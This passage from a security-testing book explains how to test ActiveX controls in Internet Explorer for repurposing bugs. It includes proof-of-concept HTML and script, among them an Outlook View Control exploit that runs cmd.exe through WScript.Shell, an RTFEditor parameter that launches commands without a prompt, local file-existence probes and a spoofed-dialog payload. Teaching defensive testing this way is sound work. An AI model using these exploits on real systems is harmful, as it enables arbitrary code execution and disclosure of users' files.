The first impulse many people have when learning about ActiveX control repurposing bugs is to try to write some code to restrict which domain the control can be hosted in, but it’s easy to implement this incorrectly. Microsoft provides a C++ template known as SiteLock you can use at http://msdn.microsoft.com/archive/en-us/samples/internet/components/sitelock/default.asp. Just because a control uses some method of restricting which sites can load it doesn’t mean an attacker can’t repurpose the control. For example, if the control loads only in a domain that has a cross-site scripting bug, attackers can use the cross-site scripting bug to script the control and bypass the site-locking mechanism. For more information about cross-site scripting, see Chapter 10.

Your ActiveX controls should never rely on site locking mechanisms for security. Site locking is a layer of defense but assume from a testing perspective that it will be broken. If your control implements site locking, you should test that the implementation is robust against canonicalization and naming attacks, such as http://secunia.com/advisories/19521/ (see Chapter 12 for more information about how to test for these types of issues).

Site-locked controls still need to be tested for repurposing issues. One way to test these controls is to create appropriate domain entries in the %windir%system32driversetchosts file on your client test machine. Other ways include patching the binary or creating special test-only builds that always return S_OK when IObjectSafety::SetInterfaceSafetyOptions is called (be very careful you don’t accidentally ship this way).

Here are some common causes of ActiveX code repurposing bugs. These are common bad practices:

One way for attackers to trigger a remote ActiveX control to be installed from their server is by using the optional codebase attribute on the <object> HTML tag. Accordingly, Internet Explorer has security around installing controls that involves a digital signature check. (Note that once the control is installed, the digital signature is never checked again before further use.) The browser can’t fix the problem once the machine is compromised by a truly malicious Trojan ActiveX control. Because controls authored with nonmalicious intent from trusted sources can be repurposed as a separate attack, additional layers of security are built into Internet Explorer to allow legitimate developers to specify what level of security Internet Explorer should assume about their control.

Installation of other applications also places ActiveX controls on the system. Because controls ship with the operating system, Internet Explorer, and other commercial software, Internet Explorer needs a way to let users further restrict what those controls can do. This is detailed in the next few sections.

When a control is instantiated via the <object> HTML tag, Internet Explorer loads the control’s program files and runs the code in them to actually create a separate copy of the control in memory. Much documentation uses vague terms such as load, run, or create, but these vague terms typically fail to distinguish the act of instantiating the control from the act of initializing the control by sending data and parameters to the control (which is covered in the next section because it happens after instantiation is finished). The distinction is critical for security.

As discussed in the previous section, when Internet Explorer encounters an <object> HTML tag, it first checks to see whether the control referenced is installed. Once Internet Explorer has the correct version of the control, it then creates the object with IUnknown. Note that objects created through script are created with IDispatch or IDispatchEx.

Even COM objects not intended for use in Internet Explorer are instantiated in this way. This applies to all COM objects because Internet Explorer uses IUnknown, which is universally supported by all COM objects. All COM interfaces derive from IUnknown and supporting IUnknown is a fundamental COM requirement.

From the browser’s point of view, legitimate COM controls should not do anything dangerous when they are instantiated. Such a control could have just as easily caused problems when it was first installed. Installation and instantiation might appear to be the same equivalence class from a security testing perspective, but actually there are cases in which buggy controls, when called from any calling application, cause problems. Although most controls are safe when instantiated, some crash. Crashes can cause data loss, but some crashes are even more serious, as in the case of javaproxy.dll, which unloaded prematurely, allowing still-existing object pointers to call into freed heap memory. Attackers who aggressively filled the heap with their data could then get their code to run. To catch this kind of bug, do a thorough code review of the DllCanUnloadNow function and make sure the object reference counts function properly. See http://www.sec-consult.com/184.html and http://www.microsoft.com/technet/security/advisory/903144.mspx for more information.

When the attacker can begin to manipulate controls with content specified in the document, things become even more interesting and repurposing becomes an issue. Internet Explorer has security around that as well.

Once the control is instantiated and there is a place for it in memory, the next task is to initialize the control. Initialization refers to setting the initial, nondefault state of the control’s properties. Some of this state is fairly well-defined: height, width. Some is custom—for example: Folder, DataSource. The Web page has the opportunity to feed in the values used during the control’s initialization. This is accomplished by persistent properties.

Persistent properties are specified by the <param> tags or the data attribute on the <object> tag when the control is loaded the first time, meaning you can take advantage of these persistent properties by repurposing them!

Control initialization happens through IPersist* interfaces. When multiple IPersist interfaces are present in the control, the data attribute of the <object> tag maps to IPersistStreamInit, IPersistStorage, IPersistFile, IPersistStream, and perhaps others (such as IPersistMoniker). The <param> tag maps to IPersistPropertyBag, IPersistPropertyBag2, and perhaps others. Internet Explorer prefers IPersistPropertyBag2 to IPersistPropertyBag if a control implements both.

Needless to say, there is a setting in Internet Explorer that governs whether to initialize the control with untrusted data or whether to initialize the control with default values.

Because IObjectSafety returns safe or unsafe based on arbitrary factors of the control programmer’s choice as implemented in the control’s IObjectSafety code when the control is run, and implementing IObjectSafety typically consumes development resources, it is reasonable to assume that if a control supports IObjectSafety, the control is safe under certain conditions and therefore the control should be tested as though it were marked as safe for scripting and safe for initialization unless further analysis demonstrates conclusively that the control is never safe for both GetInterfaceSafetyOptions and SetInterfaceSafetyOptions for all supported interfaces of concern.

In addition to sending data to a control, because Internet Explorer can allow script in the HTML to manipulate the control directly as well, there is additional security around scripting the control.

Internet Explorer does not provide script support. It delegates that operation to a separate scripting engine. Internet Explorer and the script engine have settings to govern whether to let the script engine reference each control.

The active scripting setting is a switch that disables or enables all scripting in HTML in Internet Explorer. By extension, if script is disabled through the active scripting security setting, ActiveX controls are not scripted in Internet Explorer. (Note that some controls might be able to bypass this setting because they support running custom script or navigating to javascript: protocol handlers on control initialization.)

Once Internet Explorer tells the script engine about the control (hands it an IDispatch pointer), the script talks directly to the control and it is too late for Internet Explorer to stop future actions the script might do with the control.

Once the scripting engine knows about the control, the malicious script from the Web page can directly call methods, get and set properties, and access events in any order with any parameters, any number of times with no additional security checks of any kind done by Internet Explorer.

C:>AXDetail.exe {2D360201-FFF5-11d1-8D03-00A0C959BC0A}
ActiveX Safety Detailer Version 1.0.
Copyright (c) 2006 Microsoft Corporation. All Rights Reserved.
CLSID: {2D360201-FFF5-11d1-8D03-00A0C959BC0A}
Module: C:Program FilesCommon FilesMicrosoft SharedTrieditdhtmled.ocx

IObjectSafety call returned E_NOINTERFACE.

Actually Calling interfaces to see what is available.

IPersistPropertyBag is implemented.
IPersistPropertyBag2 returns E_NOINTERFACE.
IPersistStorage is implemented.
IPersistStream returns E_NOINTERFACE.
IPersistStreamInit is implemented.
IPersistMemory returns E_NOINTERFACE.
IPersistFile returns E_NOINTERFACE.
IPersistMoniker returns E_NOINTERFACE.
IDispatchEx returns E_NOINTERFACE.
IDispatch is implemented.

Registry SFS/SFI Component Categorization Analysis:
Component is marked SFI in registry.
Component is marked SFS in registry.

ActiveX Compatibility Flags Analysis:
There are no ActiveX Compatibility flags set.

Before you can properly and adequately construct security test cases, you need to know how the control works. Learning a little bit about what members a control supports is a step in the right direction, but it doesn’t really tell you everything you need to know. How can you get the information you really need?

A lot of resources are available to help you figure out how a control and its members work, as follows:

Once you have determined a particular control is safe for scripting (and/or safe for initialization) and therefore warrants more attention, look at all of the members on a case-by-case basis to determine more granular test cases of interest. This section outlines using a variety of tools and ways of determining which members a control supports.

Using tools can enhance the testing experience and teach you a lot about the control, but there is no substitute for testing each control by creating HTML and loading it in the Web browser—other environments (such as inserting the control in a C# app) might make some aspects easier, but often data marshalling and other environmental differences vary considerably. In short, you’re not really testing the control’s actual behavior until it is loading in the target environment the way an attacker would load it.

Tool: Object Browser

Object Browser, shown in Figure 18-3, ships with Microsoft Visual Basic, Visual Basic for Applications (Microsoft Office), and Visual Studio. Object Browser shows you quite a bit of information about objects, such as information a control publishes about itself.

Object Browser’s strong points are as follows:

• Easy to get at objects that are referenced by other objects

• Good, understandable presentation of prototypes

Its main weak points are these:

• Members with the hidden attribute set are not necessarily displayed by default. Members with this attribute set are callable, so they need to be tested.

• Unclear from the presentation which COM objects are controls.

• No direct interoperability with the objects.

• Does not handle PARAMs.

Figure 18-3. Object Browser, shown here with the DHTML Edit Control loaded

Tool: OLEView

OLEView, shown in Figure 18-4, ships with Visual Studio. It is also available as a sample application with source from http://msdn.microsoft.com/library/default.asp?url=/library/en-us/vcsample/html/_sample_mfc_oleview.asp. OLEView provides a lot of information about COM classes and can be useful in finding out more about the ActiveX controls you are testing. OLEView also comes with a TypeLib viewer (ITypeLib Viewer), as shown in Figure 18-5. Compare the level of information given by the OLEView TypeLib viewer with Object Browser (shown in Figure 18-3).

Figure 18-4. OLEView

Figure 18-5. TypeLib viewer in OLEView

OLEView’s strong points are as follows:

• Most thorough at giving all of the attributes of calls.

• Easy to get the CLSID on the Clipboard.

• Source code available.

• OLEView tells you which interfaces an object supports.

The main caveats for OLEView are these:

• Most of the info in OLEView can be obtained from looking at the IDL/ODL (Interface/Object Definition Language) file in the source. The IDL file contains the member names and parameters and types.

• Falsely makes the assumption that only interfaces marked as controls are controls.

• No direct interoperability with the objects.

• Slow, often hangs, or is unable to get information (not all COM server programmers write code that works acceptably in arbitrary COM applications like OLEView).

• Does not handle PARAMs.

Tool: ActiveX Control Test Container

The ActiveX Control Test Container, shown in Figure 18-6 and Figure 18-7, is available at http://msdn.microsoft.com/library/default.asp?url=/library/en-us/vcsample/html/vcsmpTSTCONActiveXControlTestContainer.asp. ActiveX Control Test Container tool is shown in Figure 18-6 with a Forms.CommandButton control loaded. Notice the control’s events appear in the lower section of the application. In Figure 18-7, the Property Bag dialog box in ActiveX Control Test Container shows persistent properties the control supports. To open this dialog box click the Control menu, and then click Save To Property Bag.

Figure 18-6. A Forms.CommandButton control loaded in the ActiveX Control Test Container tool

ActiveX Control Test Container’s strong points are as follows:

• Source code is available.

• Can show which persistent properties (Stream, Storage, and PropertyBag) the control supports.

• Lets you invoke methods and get and set properties, as well as see when events occur.

Figure 18-7. Property Bag dialog box in ActiveX Control Test Container

Its weak points are these:

• The tool works differently from how Internet Explorer works and should not be substituted for testing using Internet Explorer.

• Unclear from the tool which interfaces and methods are supported.

Once you have identified each of the members in the control and how the member works, walk through each member and think about the risk. Certainly, any information from the overall threat model for the control would be useful here as well, but in practice few threat models dig as deeply as necessary to cover each member. For more information, see Chapter 2.

To think about the risk, think about the actions an Internet server should not be able to do on any client machine. Think about all the cool things attackers can do to trusting users. Following is a prioritized list that can give you some idea of the types of actions controls often attempt to do but should not really be doing. Use this list in combination with what you know about the control and during code review to make HTML and script to try to repurpose each member to do something malicious.

In general, ActiveX controls should not disclose information about which files exist on the local hard disk, but often the errors that ActiveX controls return to Internet Explorer give this useful information to an attacker. To retrieve these exceptions in JavaScript, add a try-catch block around test code that calls the method or property that throws the error. Primarily, these bugs exist in methods and properties with names like Load, Open, or *File. Basically, test anything that tries to load or open a file.

Following is a simple example of how to construct this test case, but it is not necessarily complete. In this example, the ConfigLocation property that exists on the ActiveX control is set to a file for which the attacker wants to verify its existence. If the file successfully loads, the code will not enter the catch section; if the file does not load, it does enter that section.

<OBJECT id="AX" classid=CLSID:12345678-1234-1234-1234-123456789ABC>

<script>
try {
AX.ConfigLocation = "c:\secret.txt";
alert("File exists!");
}
catch (oException) {
alert("File does not exist");
}
</script>

Just because the code went into the catch section because the control threw an exception does not necessarily mean that the file does not exist. Potentially, a number of things could fail on load (an example is a cross-domain warning was cancelled) that could also cause an error. Attackers can probe the details of the error, however, if the control provides those details.

When the code hits the catch block, different errors are represented by different numbers. In this particular example, here is how the ConfigLocation property works:

Errors can occur in at least three different places here, and because of this, the different error numbers returned give attackers key information.

To work through this, attackers can add logic to their catch statement that will look for a specific exception number to occur, like so:

<OBJECT id="AX" classid=CLSID:12345678-1234-1234-1234-123456789ABC>

<script>
try {
     AX.ConfigLocation = "c:\secret.txt";
     alert("File exists!");
}
catch (oException) {
//This is the number we identified to mean that the file does not exist.
     if (oException.number == "2476697211") {
          alert("File does not exist");
     }
     else {
          alert("File exists!");
     }
}
</script>

The programmer might have done a good job and made sure that the exceptions that can be caught are indistinguishable when a file exists or when a file doesn’t exist, but there are still other ways of finding out if the file really exists or not. Does the *Load method return anything?

Consider the following code, for example, which calls a method OpenFile. Suppose that after trying the try-catch method and a couple other cases, everything seems fine.

<script>
OpenFile("c:\secret.txt");
</script>

Digging a little deeper, you learn that the return value of the OpenFile method is a Boolean value. That’s interesting. What happens when an attacker tries to exploit it?

<script>
//If the return value is true, we know the file exists.
if (OpenFile("c:\secret.txt"))
{
     alert("File Exists!");
}
else
{
     alert("File Does Not Exist");
}
</script>

Because the return value of OpenFile is a Boolean value (although this would work equally well for long values and other data types), you can use that to your advantage. Specifically looking at the return value in this case tells you whether the file exists.

Attackers love this little secret: the scripting engine in Internet Explorer has no security in and of itself once it has an interface pointer. This means you can access unsafe objects through safe objects with no warning to the user, which means of course that those safe objects are really not very safe.

Look at an example. The Microsoft Office Outlook View Control is great for Internet solution providers and developers who want to integrate Outlook’s functionality with other cool stuff. This control also turned out to be an insecure example of how an ActiveX control can allow script in Web pages to access more powerful COM objects that Internet Explorer would never allow script to create.

<object id="ViewControl"
classid="clsid:0006F063-0000-0000-C000-000000000046">
<param name="Folder" value="Inbox">
</object>
<script>
function DoIt() {
oItem=ViewControl.object.selection.Item(1);
oWSh=oItem.Session.Application.CreateObject("WScript.Shell");
oWSh.Run("cmd.exe /k echo ProofOfConcept");
}
setTimeout("DoIt()",2500);
</script>

How does this work? The attacker first specifies Inbox as a parameter on the <object> tag because the Inbox is one of the most likely folders to contain an item.

<object id="ViewControl"
classid="clsid:0006F063-0000-0000-C000-000000000046">
<param name="Folder" value="Inbox">
</object>

The first script to run is the setTimeout(“DoIt()”,2500); call, which waits 2.5 seconds (the attacker needs this because Outlook sometimes takes a little time to talk to the mail server and load the Inbox). Then the script calls a function (named DoIt), which is where the payload lives.

function DoIt() {
oItem=ViewControl.object.selection.Item(1);
oWSh=oItem.Session.Application.CreateObject("WScript.Shell");
oWSh.Run("cmd.exe /k echo ProofOfConcept");
}

How does function DoIt work?

oItem=ViewControl.object.selection.Item(1);

The ViewControl.object addresses the object model of the control itself, rather than talking to Internet Explorer, which overrides the fact that Internet Explorer will return something different for the selection property if the exploit referenced ViewControl.selection instead. The ViewControl.object.selection is a collection of MailItem objects, which can be stored in a variable in JavaScript even though it is not directly creatable in JavaScript.

Because ViewControl.object.selection is a collection, it supports the Item method to retrieve a single item from the collection, so the attacker then gets the first item in the Inbox (the Outlook collections are one-based, unlike Internet Explorer collections, which are zero-based) and puts it into oItem. The Outlook View Control isn’t referenced by the script engine anymore at all. The script now has a regular Outlook MailItem object. The MailItem object is not safe at all, but there was no warning because the Outlook view control created the object, not Internet Explorer.

oWSh=oItem.Session.Application.CreateObject("WScript.Shell");

Which properties and methods does that object support? Well, it turns out script can get the Messaging Application Programming Interface (MAPI) Session, and then the main Outlook.Application object. That object has a CreateObject method that will create any COM object on the local system, so a good choice is the Windows Scripting Host (WSH) WScript.Shell object (which runs any commands).

oWSh.Run("cmd.exe /k echo ProofOfConcept");

Normally, the WScript.Shell object is not scriptable because it cannot be created in script by Internet Explorer without low security settings and prompts. But what happened instead was the Outlook View Control created the Outlook.Application object, which in turn created the WScript.Shell object. After that, the object became scriptable in Internet Explorer.

How can you spot these kinds of objects? Look for collections of objects and methods and properties that can return objects. Object Browser and OLEView can indicate when members are objects. Essentially, there are five data types to watch out for:

Consider the COM component that doesn’t go away when the HTML page is unloaded. Browser Helper Objects (BHOs) are an example of this class of component. They are different from ActiveX controls in that they usually load when Internet Explorer starts or the user clicks a menu item, and they respond to various events such as navigating to a Web page or submitting a form. BHOs have full access to programmatically manipulate the Web browser and all of the content on the Web pages. BHOs can be scripted from the web page, and they are just as vulnerable as other ActiveX controls to repurposing attacks.

If your control has BHO functionality or if it remains active after the user navigates away from the page, you need to consider carefully the following example of a particular control because it allowed any malicious user to track the Internet usage of victims.

This feature manages Web server discussion threads and appears when the appropriate page is viewed in Internet Explorer, which would display the Discussions toolbar at the bottom of the application window. The user could then use the commands on this toolbar to add a discussion server, specify what information will be displayed for a discussion, or subscribe to a particular Web page, or folder on a Web server.

In this particular case, the control has two interesting methods:

The control by itself doesn’t seem so bad, except that it had a weakness in how it communicates with the server. Once the Discussions toolbar is enabled, the control communicates with the specified server to see whether the server has any discussions for the given URL. It does this through an HTTP request that passes in the URL of the page the user is on as a query string parameter.

So the attacker’s script can launch the toolbar and set their server to be the default. Then, the attacker only needs to view their Web logs to see which sites their victims are visiting. This can prove even worse for sites that pass session information or other juicy goods in query string parameters (even over Secure Sockets Layer) when the victim logs on or submits sensitive information.

If your control asks the user to make security decisions based on the domain in a URL or presents the URL to the user to ask permission to process the URL in a particular way that might be insecure, you need to test for server redirection. Suppose the control has a simple method LoadFromURL that takes one parameter, a string value of the URL to load from. It looks like this:

<script>
AX.LoadFromURL("http://www.good.example.com/goodpage.asp");
</script>

When the method is called, a dialog box comes up asking whether the user really wants to load the file from the good.example.com domain. Because the user trusts good.example.com, of course the user trusts the file. Then, change the URL:

<script>
var sURL = "http://www.good.example.com/?redir=";
sURL += "http://www.bad.example.com/badpage.asp";
AX.LoadFromURL(sURL);
</script>

The dialog box opens again and asks whether the user wants to load the page from good.example.com. The user trusts good.example.com and so clicks OK. The control loads the file from bad.example.com.

Why does this happen? Is redirection the problem? Redirection is perfectly legitimate, and lots of sites do this. In this case, good.example.com has a page on its site that helps to redirect users to other pages on its site.

How does this work? The Active Server Page (ASP) page grabs the redir query string request value and issues a Response.Redirect command, passing in the redir query string (in this case, the bad.example.com page) as the URL to redirect to. Response.Redirect then sends down to the client a 302 (Object Moved) or similar HTTP response with the new location for the client to request (bad.example.com).

The attacker reused the control and a server’s redirection to fool the user into loading a file from a URL the user might not trust. Some application programming interfaces (APIs) available to developers automatically follow the redirect, so behind the scenes everything just works—for the attacker, that is.

In Internet Explorer 6 Service Pack 1 (SP1), the Internet Explorer team went a long way toward mitigating local cross-site scripting (XSS) attacks from the Internet domain. To implement a complete solution to local cross-site scripting attacks, ActiveX controls should also comply and not redirect to local content. If an ActiveX control redirects to local content when Internet Explorer bans such redirection, your ActiveX control serves as a method an attacker can use to bypass Internet Explorer security settings.

To find these bugs, first identify places in the control that load files or consume URLs. Next, try using these members of the ActiveX control to load local files. Finally, assess the result of your efforts by looking at the behavior of the control or using other tools such as FileMon. Briefly, here’s how one example works:

<object
   classid="clsid:{12345678-1232-1234-3212-345654321234}"
   id="objBuggy">
</object>
<script>
   // The control loads the URL specified in script in a new
   //window in which it is hosting HTML.
 objBuggy.IsEditMode=1;
   //Redirect to a local file works fine
   //Note that using equivalent script in Internet Explorer
   // without the ActiveX control would fail because of the
   // Internet Explorer security which blocks the action.
 objBuggy.Url = "c:\foo.html#javascript:DoBadStuff()";
   //Go for it!
 objBuggy.ShowHTMLWindow;
</script>

Binary behaviors work like ActiveX controls that bind to specific HTML tags and can be initialized with tag properties and scripted by referencing the ID or name of the tag. Behaviors have the ability to control all aspects of HTML elements (catching events, setting values, and more). Binary behaviors are just like ActiveX controls from a security standpoint. You can find out more about binary behaviors at http://msdn.microsoft.com/library/default.asp?url=/workshop/browser/behaviors/howto/belementb.asp.

One particular ActiveX control programmer implemented a binary behavior to block potential malicious attacks using the control’s ImportList method. In normal usage, the control was loaded as a behavior off of the <input type=file /> element as follows:

<object classid="clsid:{BDEADE9E-C265-11d0-BCED-00A0C90AB50F}"
 id="LauncherObj" style="display:none;"></object>
<input id="SpreadsheetFile" Type="file" Name="SpreadsheetFile"
 style="behavior: url(#LauncherObj);">

The <input type=file /> HTML element does not let script set the value property (which contains the filename to upload), otherwise malicious Web sites could upload arbitrary files from users’ hard disks. Knowing this, the programmer of the control added a security check to make sure it could bind only to the HTML <input> elements of Type=file.

How can the attacker bypass this binary behavior’s security mechanism? There wasn’t any way for the control to access files directly through the input element; instead, the attacker must fool the control into thinking it was loaded into an input element when in fact some other element bound to the behavior. This was done using HTML namespaces and expandos.

In a nutshell, a namespace can be added to any HTML document as follows:

<HTML XMLNS:EVIL>

In this example, the namespace is EVIL. A given HTML tag can be included in that namespace by prepending the namespace name to the tag name:

<EVIL:IMG src="http://www.example.com/ing.jpg">

By defining an HTML namespace (called input) the attacker fooled the control into thinking it was loaded by the <input type=file /> element; then, by setting the expando value=c:filename.txt, the attacker could use the control to detect whether a local file existed, among other malicious things.

The InvokeRTFEditor method does not contain any way to specify the editor, but it does claim to load ‘write.exe’. No path is mentioned with write.exe, so perhaps you can get your own malicious, Trojan write.exe to run somehow.

Try to put a copy of notepad.exe as write.exe in the same folder as the TestCase.htm, and then try launching TestCase.htm directly in Internet Explorer over the network or the local file system, hoping somehow the control uses the current working directory to load the Trojan horse. You’ll find this doesn’t work—the control still loads WordPad.

Don’t give up yet. Next try placing a copy of notepad.exe renamed as write.exe in the Internet Explorer directory, and reload the HTML. Excellent! Notepad loads instead of WordPad. But big deal—if you can write to that directory, just overwrite iexplore.exe. Where else should be checked?

Perhaps try including a different version of write.exe where the file is created. You can use FileMon to find out where the file is created, but just to do things differently here, load the HTML and look at the filename. Recall from Figure 18-10 the filename is Tom1E0.tmp.

C:>dir /s/a/b Tom1E0.tmp
C:Documents and SettingsBookLocal SettingsTempTom1E0.tmp

That’s the temporary folder. Copy notepad.exe and rename.

C:>copy %windir%system32Notepad.exe %temp%
        1 file(s) copied.

C:>ren %temp%
otepad.exe write.exe

Now when reloading the HTML in the browser, the following appears:

There is no obvious way to launch a Trojan write.exe using just this method, but it is still worth threat modeling; perhaps there is some way not yet considered.

Invoking a malicious write.exe seems tough, but can you use some of the other members of the control to launch a different editor? You might look through the SDK to gain some specific ideas to try. RTFEditor looks promising. RTFEditorOverrideKey/Value seems to imply this control somehow reads the path from the registry.

How does the RTFEditor PARAM work? The SDK gives some HTML for invoking a different RTF editor (Chapter18.22.html on the book’s companion Web site):

<object id=Editor
   classid="clsid:0C3C509F-111A-4E6C-B270-1D64BCFD26F9"
   height=30 width=300>
 <param name="RTFEditor" value="notepad.exe">
</object>
<input type=button
   onclick="Editor.InvokeRTFEditor(false)"
   value="Edit in Notepad">

Figure 18-11 shows what happens this time when Internet Explorer loads the HTML and you click the Edit In Notepad button. Notepad runs! In addition to running Notepad, something else happens differently. Did you notice? Security testers need to observe differences. What is different here is discussed later.

Figure 18-11. Invoking a different editor

Hint: Load the previous HTML we had that launched WordPad. Think about what you have to do as a user for that to run.

Answer: There’s no prompt!!

OK, that’s a bug, but how bad is it? How can an attacker take advantage of this? Can HTML launch executables from the Internet by using Universal Naming Convention (UNC)? To try launching an executable using UNC, consider typing ping servername at a console window to get the IP address, and then use \[IP Address]sharefun.exe, or provide a network path of your own. Some people with direct connections to the Internet can pull down information this way, although not many given firewalls and other related mitigations in place.

Perhaps the code somehow filters and allows notepad.exe but disallows other malicious options. How could you test whether this is the case? Try including a command-line parameter and cmd.exe (Chapter18.23.html on the book’s companion Web site):

<object id=Editor
   classid="clsid:0C3C509F-111A-4E6C-B270-1D64BCFD26F9"
   height=300 width=300>
 <param name="RTFEditor" value="cmd.exe /k calc.exe">
</object>
<script>
 setTimeout("Editor.InvokeRTFEditor(false);",500);
</script>

That works great—great, that is, from an attacker’s perspective: Windows Calculator launches. By using the /k command-line parameter with cmd.exe, you can see in Figure 18-12 that the control saves the file and passes the name of the file in on the command line.

Figure 18-12. The cmd.exe window that appears with the Calculator

Try experimenting with the RTFEditor PARAM. Then consider what else is left on the list of items to investigate.

By now you know how to use the RTFEditor PARAM to specify the editor and run arbitrary commands as well. There is still an open issue about whether RTFEditorOverrideKey or RTFEditorOverrideValue can also accomplish this. This walkthrough discusses the possibility when testing those members.

The SDK sample shows how to bypass the prompt by supplying a Prompt parameter value of false. Nice! Did you notice that the dialog box that appears in Figure 18-9 does not appear at all for some cases? Remember there was something else different in addition to notepad launching when you tried the following code (from Chapter18.22.html on the book’s companion Web site)?

<input type=button
   onclick="Editor.InvokeRTFEditor(false)"
   value="Edit in Notepad">

Look again at Figure 18-11. There was no prompt!

What if the programmer decides to fix the issue of being able to run arbitrary commands using InvokeRTFEditor by always prompting (ignoring the Prompt parameter)? Does that fully address the issues here? Chapter 6 can give you a few ideas.

Think about what an attacker could do with the prompt. Consider whether the attacker can specify a different value for the RTFEditor PARAM. The dialog box shown in Figure 18-13 appears after you change the existing calculator example (Chapter18.24.html on the book’s companion Web site) and run the HTML in Internet Explorer.

Figure 18-13. The Launch External Editor dialog box

Users would probably click No when they encounter the Launch External Editor dialog box in Figure 18-13. Notice that the input specified in the RTFEditor PARAM appears in the dialog box prompt. This could be useful. Perhaps the attacker can get creative (Chapter18.25.html on the book’s companion Web site):

<script>
 var t="<object id=Editor ";
 t += "classid=clsid:0C3C509F-111A-4E6C-B270-1D64BCFD26F9 ";
 t += "height=300 width=300>";
 t += "<param name=RTFEditor value="";
 t += "cmd.exe /k calc.exe ', but first Internet Explorer ";
 t += "wants to know what security you would like to apply.";
 t += "&#x0d;&#x0a;&#x0d;&#x0a;Microsoft recommends ";
 t += "setting Internet Explorer external editor security ";
 t += "settings to only allow trusted editors by enabling ";
 t += "'Restricted Access">";
 t += "</object>";
 document.write(t);
 setTimeout("Editor.InvokeRTFEditor(true);",500);
</script>

Compare the dialog box in Figure 18-13 with the one shown in Figure 18-9. There is an important difference. Figure 18-14 shows a more dramatic illustration of how this difference can be exploited by an attacker. With a little wordsmithing an attacker can repurpose the message using HTML along the lines of the preceding to generate the dialog box shown in Figure 18-14.

Figure 18-14. A spoofed Launch External Editor dialog box

Compare the dialog box shown in Figure 18-14 to the ones shown in Figure 18-13 and Figure 18-9. Take a close look at how an attacker can twist the meaning of the message. Many users might click the Yes button in response to the prompt shown in Figure 18-14. Notice what text came from the Web page and how untrusted HTML is able to totally change the meaning of the Yes and No buttons to confuse the user into making the wrong choice. So the Launch External Editor dialog box has spoofing issues, too.

In the process of investigating the answers to other questions, it became evident that the control runs the value specified in the RTFEditor PARAM as a command, with the temp file as a command-line parameter.

Observation revealed that the TomCC9.tmp (or similar) file is created by the ActiveX control prior to launching the external editor.

This file is stored in the %temp% folder, as demonstrated earlier.

While continuing to investigate the InvokeRTFEditor method to understand exactly how it works, focus on whether data from the control is pumped into the editor, and if so, how.

Previous testing revealed that the file written to the hard disk has a unique (but not quite random) filename, and the editor runs with the file as a command-line parameter that tells the editor where to look for the file. What can you do to tell whether data goes from the control to the editor, and whether data somehow returns from the editor to the control? You need some HTML that allows for editing the contents of the control before launching the editor, such as the following HTML (Chapter18.26.html on the book’s companion Web site):

<object id=Editor
   classid="clsid:0C3C509F-111A-4E6C-B270-1D64BCFD26F9">
</object>
<a href="javascript:Editor.InvokeRTFEditor(false);">
   Click Me!
</a>

After loading the HTML in Internet Explorer, type into the control some distinct text you will recognize:

Click the Click Me! link, and notice this: WordPad opens:

The file contains the text in the control. Does this seem like an issue? Does WordPad expect it can trust the contents of a file sitting in the %temp% folder on a user’s machine? What might be some other content that could be inserted into the file to cause problems? Think about the interesting things that could be done using various programs as editors.

There are no pat answers to these questions because it depends on which editors can load the content. If Internet Explorer is the editor, storing untrusted content from the Internet in the %temp% folder is a risky proposition because the %temp% folder is in the Local Machine zone. Right now, however, any program on the system or the network can load the content, and so there is literally no limit until proven otherwise. During your investigation, it might be worthwhile to figure out which bytes and characters make it from the control to the file unchanged. In this manner, you could better tell which possible file formats could be generated. Is it really just text? It’s unknown at this point. Perhaps attackers can create files of almost any type (even executable) through the control.

Although an attacker need not do much more work after figuring out how to run arbitrary code, you should still test for other issues with the InvokeRTFEditor method. Have you looked for buffer overruns, format string attacks, or other bugs? Maybe the attacker can use the method’s return value to determine whether a particular file exists on the user’s machine. HTML that searches for the existence of a file called cal.exe might look something like what follows here (Chapter18.27.html on the book’s companion Web Site):

<object id=Editor
   classid="clsid:0C3C509F-111A-4E6C-B270-1D64BCFD26F9"
   height=300 width=300>
 <param name="RTFEditor" value="cal.exe">
</object>
<script>
 setTimeout("alert(Editor.InvokeRTFEditor(false));",500);
</script>

Trying to use the return value from a method is a good case to remember. In this InvokeRTFEditor case, it doesn’t work, however.